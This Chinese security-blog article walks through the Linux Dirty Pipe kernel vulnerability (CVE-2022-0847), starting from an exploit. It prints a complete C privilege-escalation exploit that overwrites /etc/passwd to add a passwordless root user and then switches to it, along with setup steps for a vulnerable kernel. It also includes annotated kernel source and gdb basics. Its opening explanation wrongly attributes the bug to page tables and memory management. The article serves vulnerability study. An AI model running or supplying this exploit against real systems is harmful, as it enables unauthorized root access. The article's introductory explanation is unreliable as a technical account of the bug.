点击上方蓝字关注我哦
前情提要
CVE-2022-0847,也被称为"Dirty Pipe",是一个影响Linux内核的严重安全漏洞。这个漏洞存在于Linux内核的内存管理子系统中,攻击者可以利用这个漏洞在受影响的系统上执行任意代码,甚至可以获取系统的完全控制权。
"Dirty Pipe"漏洞的名称来源于它所影响的内核数据结构——页表。在Linux内核中,页表用于跟踪物理内存的使用情况,包括哪些内存页面已经被修改("脏")以及哪些还没有。由于一个设计上的缺陷,攻击者可以通过创建特殊的、恶意的页表条目来破坏页表的完整性,从而实现对系统的控制。
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define PIPE_SIZE 16
void SetCanMerge(int fd[2]){
char buf;
pipe(fd);
for(int i=0;i<PIPE_SIZE;i++){
write(fd[1],"a",1);
read(fd[0],&buf,1);
}
}
int main(){
int pipefd[2];
SetCanMerge(pipefd);
printf("[+]set all pipe page can merge donen");
int fd=open("/etc/passwd",O_RDONLY);
int ret=splice(fd,NULL,pipefd[1],NULL,1,0);
printf("[+]splice done,return value=%dn",ret);
write(pipefd[1],"oots:",5);
system("su roots");
}
-
定义了两个宏
PAGE_SIZE
和PIPE_SIZE
,分别表示页面大小和管道大小。 -
PAGE_SIZE:内存页是操作系统管理内存的基本单位,它的大小通常取决于操作系统的设计和硬件架构。例如,在一些系统中,一个标准的页面大小可能是4KB(4096字节)。
-
PIPE_SIZE:管道是Unix和类Unix系统中的一个传统IPC(进程间通信)机制。它允许两个进程之间以先进先出的方式传输数据流。所谓的PIPE_SIZE是指创建管道时,内核为该管道分配的缓冲区大小,这个大小会影响到一次能在管道中写入或读取的数据量。
-
定义了一个函数
SetCanMerge
,该函数接受一个整数数组作为参数,用于设置管道的合并属性。 -
在
main
函数中,首先创建了一个名为pipefd
的整数数组,用于存储管道的文件描述符。 -
调用
SetCanMerge
函数,将pipefd
作为参数传入,以设置管道的合并属性。(将pipe的缓冲区填满(两个宏PAGE_SIZE
和PIPE_SIZE
,分别表示页面大小和管道大小,并且每一次设置一标签(是否合并)) -
打印一条消息,表示管道的合并属性已设置完成。
-
使用
open
函数打开文件/etc/passwd
,并以只读方式获取文件描述符,将其赋值给变量fd
。 -
调用
splice
系统调用,将文件描述符fd
的内容复制到管道的写入端pipefd[1](拷贝一个字节因为是零拷贝,所以它不是真正的拷贝,而是直接把缓存页给挂到了
。pipe
缓冲区当中,因为描述符fd和pipefd[1]的存在,直接写
)Page Cache
绕过了权限检查 -
打印一条消息,表示 splice 操作已完成,并显示返回值。
-
向管道的写入端写入字符串 "oots:"。
由于第一个字节为零拷贝,这样的话/etc/passwd的第一行变成了roots::...,原本第一行的内容为root:x:...,中间的x表示此用户有密码,而我们把x取消掉了,那么我们生成了一个 uid 为 0 且没有密码的用户roots,
sudo apt install linux-image-5.8.0-63-generic
reboot
重启,开机界面按shift+TAB
进入 ubuntu 引导界面,然后选择高级选项advance
,选择我们刚刚安装的那个内核进入启动。1.root-roots
2.密码为0----roots::0:0:root:/root:/bin/bash
读和写对应的调用,它们在内核层名为
pipe_read
和pip_write
/source/fs/pipe.c
fd[0]和fd[1]的来源
int do_pipe(int *fd)
{
struct file *fw, *fr;
int fdw, fdr;
//创建管道写端的file结构
fw = create_write_pipe();
//在写端的file结构基础上构建读端
fr = create_read_pipe(fw);
//创建读端fd
fdr = get_unused_fd();
//创建写端fd
fdw = get_unused_fd();
//fd 和 file进行关联
fd_install(fdr, fr);
fd_install(fdw, fw);
//返回读写端fd
fd[0] = fdr;
fd[1] = fdw;
...
return 0;
}
pipe_write:
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
structfile *filp = iocb->ki_filp;
structpipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
/* Null write succeeds. */
if (unlikely(total_len == 0))
return0;
__pipe_lock(pipe);
判断数据来源是否为0,是0就关闭交易
if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
ret = -EPIPE;
gotoout;
}
#ifdef CONFIG_WATCH_QUEUE
if (pipe->watch_queue) {
ret = -EXDEV;
gotoout;
}
#endif
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
管道是否为空,用头尾是否相等判断
chars = total_len & (PAGE_SIZE-1);
PAGE_SIZE
通常情况下来说大小是4096
,刚好是一个 2 的 12 次幂,那么再 -1 相当于就是二进制的 12 个 1,再用 & 运算就是取得total_len
最低的 12 位
if (chars && !was_empty) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
gotoout;
ret = copy_page_from_iter(buf->page, offset, chars, from);
-
计算一个掩码值,该值为管道的环大小减去1。
-
获取管道缓冲区的地址,该地址由头部指针减1后与掩码进行位与运算得到。
-
计算偏移量,该值为缓冲区的偏移量加上其长度。
-
检查缓冲区的标志位是否包含
PIPE_BUF_FLAG_CAN_MERGE
,并且偏移量加上chars
是否小于等于PAGE_SIZE
。如果这两个条件都满足,那么它将执行以下操作: -
调用
pipe_buf_confirm
函数确认管道缓冲区。 -
如果返回值不为0,那么它将跳转到
out
标签。 -
否则,它将调用
copy_page_from_iter
函数,将迭代器中的数据复制到缓冲区的页面中。
pipe_write后面的话其实没多大意义去分析了
Splice
splice的函数原型如下:
c复制代码运行
long splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);
参数说明:
-
fd_in:输入文件描述符,即要读取数据的文件。
-
off_in:输入文件的偏移量指针,指向要读取数据的起始位置。如果为NULL,则从当前文件位置开始读取。
-
fd_out:输出文件描述符,即要将数据写入的文件。
-
off_out:输出文件的偏移量指针,指向要写入数据的起始位置。如果为NULL,则从当前文件位置开始写入。
-
len:要传输的数据长度。
-
flags:控制传输行为的标志位,如SPLICE_F_NONBLOCK、SPLICE_F_MORE等
不知道为什么本地上没找到文件,额,写点gdb调试的基础方法吧
-
编译带有调试信息的程序:在编译源代码时,使用-g选项来添加调试信息。
bashgcc -g program.c -o program
-
使用GDB加载程序:通过gdb命令加载编译后的程序。
bashgdb program
-
设置断点:在特定的代码行上设置断点,以便在执行到该行时暂停程序。
bashb filename:line_number
例如,在main函数的第一行设置断点:
bashb main.c:15
-
运行程序:使用r(run)命令运行程序,并将程序暂停在断点处。
bashr
-
查看当前状态:可以查看当前的堆栈状态、变量值等。
-
查看堆栈状态:
info stack
-
查看局部变量:
info locals
-
查看全局变量:
info global
-
单步执行:使用n(next)命令单步执行程序,遇到函数调用时,可以进入函数内部。
bashn
-
继续执行:使用c(continue)命令让程序继续执行,直到下一个断点或程序结束。
bashc
-
打印变量值:使用p(print)命令打印变量的值。
bashp variable_name
-
退出GDB:使用q(quit)命令退出GDB。
bashq
扫码关注后台回复“安全”
获取资料
原文始发于微信公众号(SQ安全渗透):从exp反推CVE-2022-0847dirtypipe原理
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论